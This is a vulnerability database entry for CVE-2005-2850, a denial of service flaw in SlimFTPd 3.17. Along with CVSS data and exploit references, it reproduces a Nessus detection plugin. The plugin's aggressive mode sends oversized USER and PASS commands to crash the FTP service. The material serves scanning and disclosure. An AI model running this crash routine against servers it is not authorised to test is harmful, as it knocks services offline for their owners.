Vulnerabilities > CVE-2005-2850 - Denial-Of-Service vulnerability in Whitsoft Development Slimftpd 3.17

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
whitsoft-development
nessus
exploit available

Summary

SlimFTPd 3.17 allows remote attackers to cause a denial of service (crash) via certain (1) USER and (2) PASS commands, possibly due to a buffer overflow or off-by-one error.

Vulnerable Configurations

Part Description Count
Application
Whitsoft_Development
1

Exploit-Db

descriptionWhitSoft Development SlimFTPd 3.17 Remote Denial of Service Vulnerability. CVE-2005-2850 . Dos exploit for windows platform
idEDB-ID:26219
last seen2016-02-03
modified2005-09-02
published2005-09-02
reporterCritical Security
sourcehttps://www.exploit-db.com/download/26219/
titleWhitSoft Development SlimFTPd 3.17 - Remote Denial of Service Vulnerability

Nessus

NASL familyFTP
NASL idSLIMFTPD_DOS.NASL
descriptionThe remote host appears to be using SlimFTPd, a free, small, standards-compliant FTP server for Windows. The installed version of SlimFTPd on the remote host suffers from a denial of service vulnerability. By sending
last seen2020-06-01
modified2020-06-02
plugin id19588
published2005-09-06
reporterThis script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/19588
titleSlimFTPd Username/Password Overflow Remote DoS
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description) {
  script_id(19588);
  script_version("1.14");

  script_cve_id("CVE-2005-2850");
  script_bugtraq_id(14723);
 
  script_name(english:"SlimFTPd Username/Password Overflow Remote DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is prone to a denial of service attack." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be using SlimFTPd, a free, small,
standards-compliant FTP server for Windows. 

The installed version of SlimFTPd on the remote host suffers from a
denial of service vulnerability.  By sending 'user' and 'pass'
commands that are each 40 bytes long, an attacker will crash the
service after about a short period of time." );
 script_set_attribute(attribute:"see_also", value:"http://www.critical.lt/?vuln/8" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/09/06");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/08/31");
 script_cvs_date("Date: 2018/07/27 18:38:14");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

  script_summary(english:"Checks for multiple buffer overflow vulnerabilities in SlimFTPd < 3.17");
  script_category(ACT_MIXED_ATTACK);
  script_family(english:"FTP");
  script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ftp", 21);
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_ftp_port(default: 21);


# If it looks like SlimFTPd...
banner = get_ftp_banner(port:port);
if (banner && "220-SlimFTPd" >< banner) {
  # If safe checks are enabled...
  if (safe_checks()) {
    # There's a problem if the banner reports it's 3.17 or older.
    if (egrep(string:banner, pattern:"^220-SlimFTPd ([0-2]\.|3\.1[0-7][^0-9])")) {
      report = string(
        "Note that Nessus has determined the vulnerability exists on the\n",
        "remote host simply by looking at the version number of SlimFTPd\n",
        "installed there.\n"
      );
      security_warning(port:port, extra:report);
    }
    exit(0);
  }
  # Otherwise...
  else {
    # Try a couple of times to crash it.
    #
    # nb: the service seems to crash only when it hasn't received
    #     a connection for a while. Thus, if the target is an
    #     active server, the plugin probably won't pick up the
    #     flaw even though the exploit will eventually work.
    conns = 0;
    for (i=0; i < 3; i++) {
      soc = open_sock_tcp(port);
      if (soc) {
        conns++;
        s = ftp_recv_line(socket:soc);

        c = "USER " +  crap(40);
        send(socket:soc, data: c + '\r\n');
        s = ftp_recv_line(socket:soc);

        if (s && '331 Need password for user "".' >< s) {
          c = "PASS " + crap(40);
          send(socket:soc, data: c + '\r\n');
          s = ftp_recv_line(socket:soc);
          if (s && "503 Bad sequence of commands. Send USER first." >< s) {
            close(soc);
            sleep(30);
          }
        }
      }
    }

    # If we sent at least one exploit, see if it's down now.
    if (conns) {
      soc = open_sock_tcp(port);
      if (soc) close(soc);
      else {
        if (service_is_dead(port: port) <= 0)
	  exit(1, "Could not reconnect to port "+port+".");
        security_warning(port);
        exit(0);
      }
    }
  }
}